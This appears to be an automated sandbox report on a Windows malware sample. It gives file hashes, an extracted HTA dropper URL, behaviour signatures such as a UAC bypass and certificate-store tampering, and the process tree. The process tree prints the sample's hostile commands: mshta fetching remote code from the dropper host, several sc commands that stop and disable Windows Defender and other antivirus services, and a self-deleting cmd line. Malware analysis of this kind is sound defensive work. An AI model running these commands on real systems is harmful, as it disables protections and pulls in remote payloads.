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Analysis

  • max time kernel
    150s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    19/09/2024, 12:09

General

  • Target

    eb4e2a8e3747a92bfa9eddbd82922e59_JaffaCakes118.exe

  • Size

    2.0MB

  • MD5

    eb4e2a8e3747a92bfa9eddbd82922e59

  • SHA1

    edb4309be523ffcc63d959bd5e9bbf60d4745c32

  • SHA256

    5be56a365a6205f79afd477feefbfc72b780440f1771df21efe634aa39e2e6d2

  • SHA512

    2f452c17fb730dcb95f4b72a665585f5bf227e09f49b05aeff447f47e77c4d59d1f973d19ef990b6fe3a6b7f1910a9beaf3d128e6ffe2e113c142c6309afdaaa

  • SSDEEP

    49152:DMqDXya6MmXveHhW7NmmsvMdAdg5G7Td7uDEpafagvYqiKneu:D9YMhhWIVvMdAio7uwpaigvpeu

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://galaint.online-secure-pay.info/?0=112&1=2&2=1&3=33&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000&12=udcwtuujnm&14=1

Signatures

  • Disables service(s) 3 TTPs
  • UAC bypass 3 TTPs 3 IoCs
  • Disables taskbar notifications via registry modification
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 64 IoCs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 7 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Drops file in System32 directory 3 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\eb4e2a8e3747a92bfa9eddbd82922e59_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\eb4e2a8e3747a92bfa9eddbd82922e59_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2456
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\4l26566ate6094i.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\4l26566ate6094i.exe" -e -p668y35zy9semc51
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2228
      • C:\Users\Admin\AppData\Local\Temp\RarSFX1\a894n2h26uxk8bk.exe
        "C:\Users\Admin\AppData\Local\Temp\RarSFX1\a894n2h26uxk8bk.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1268
        • C:\Users\Admin\AppData\Roaming\Protector-yrsu.exe
          C:\Users\Admin\AppData\Roaming\Protector-yrsu.exe
          4⤵
          • UAC bypass
          • Event Triggered Execution: Image File Execution Options Injection
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          • Checks whether UAC is enabled
          • Drops file in System32 directory
          • System Location Discovery: System Language Discovery
          • Modifies Internet Explorer settings
          • Modifies system certificate store
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          • System policy modification
          PID:2284
          • C:\Windows\SysWOW64\mshta.exe
            mshta.exe "http://galaint.online-secure-pay.info/?0=112&1=2&2=1&3=33&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000&12=udcwtuujnm&14=1"
            5⤵
            • System Location Discovery: System Language Discovery
            • Modifies Internet Explorer settings
            PID:2884
          • C:\Windows\SysWOW64\sc.exe
            sc stop WinDefend
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:2984
          • C:\Windows\SysWOW64\sc.exe
            sc config WinDefend start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:1628
          • C:\Windows\SysWOW64\sc.exe
            sc stop msmpsvc
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:1204
          • C:\Windows\SysWOW64\sc.exe
            sc config msmpsvc start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:2860
          • C:\Windows\SysWOW64\sc.exe
            sc config ekrn start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:3008
          • C:\Windows\SysWOW64\sc.exe
            sc stop AntiVirService
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:1568
          • C:\Windows\SysWOW64\sc.exe
            sc config AntiVirService start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:2344
          • C:\Windows\SysWOW64\sc.exe
            sc config AntiVirSchedulerService start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:2332
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\A894N2~1.EXE" >> NUL
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2808

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • \Users\Admin\AppData\Local\Temp\RarSFX0\4l26566ate6094i.exe

    Filesize

    2.0MB

    MD5

    4b043a2187093b9e550526c971937866

    SHA1

    fa99728510a2493c8d00dd8c0e2c5b29449b8a41

    SHA256

    f0f3b5e787031b79844635662c9010cc496a21d93541fc5bbe9f1ce0e84ef857

    SHA512

    b578e98a96fd00af6086d45140e247c6b540798ebe83c9890957552500f4cfb68d337314122f4c4895bccccbddbd2628ca5d192d7b054148afc2571bd838f758

  • \Users\Admin\AppData\Local\Temp\RarSFX1\a894n2h26uxk8bk.exe

    Filesize

    1.9MB

    MD5

    4b64d7c16be8aff7a3a2233afef74736

    SHA1

    b92f314dd0af8f817c50df7e68cb7122e41c6088

    SHA256

    040510194a4376a66c85b17bdf385b00216594fc2d5ecb97ab562300ab658e82

    SHA512

    b0fce2301d53cae98e31471203ec08966b5694f5654d0059fff6386920e87b153cc8455fd85ca8db310b9f8959baaa8a15326282fad4adf4209319da2ed95de2

  • memory/1268-20-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

  • memory/1268-29-0x0000000005330000-0x0000000005726000-memory.dmp

    Filesize

    4.0MB

  • memory/1268-32-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

  • memory/2228-18-0x0000000003870000-0x0000000003C66000-memory.dmp

    Filesize

    4.0MB

  • memory/2228-17-0x0000000003870000-0x0000000003C66000-memory.dmp

    Filesize

    4.0MB

  • memory/2284-56-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

  • memory/2284-61-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

  • memory/2284-54-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

  • memory/2284-35-0x0000000005300000-0x0000000005310000-memory.dmp

    Filesize

    64KB

  • memory/2284-57-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

  • memory/2284-59-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

  • memory/2284-60-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

  • memory/2284-53-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

  • memory/2284-62-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

  • memory/2284-63-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

  • memory/2284-64-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

  • memory/2284-65-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

  • memory/2284-66-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

  • memory/2284-67-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

  • memory/2284-68-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB

  • memory/2284-69-0x0000000000400000-0x00000000007F6000-memory.dmp

    Filesize

    4.0MB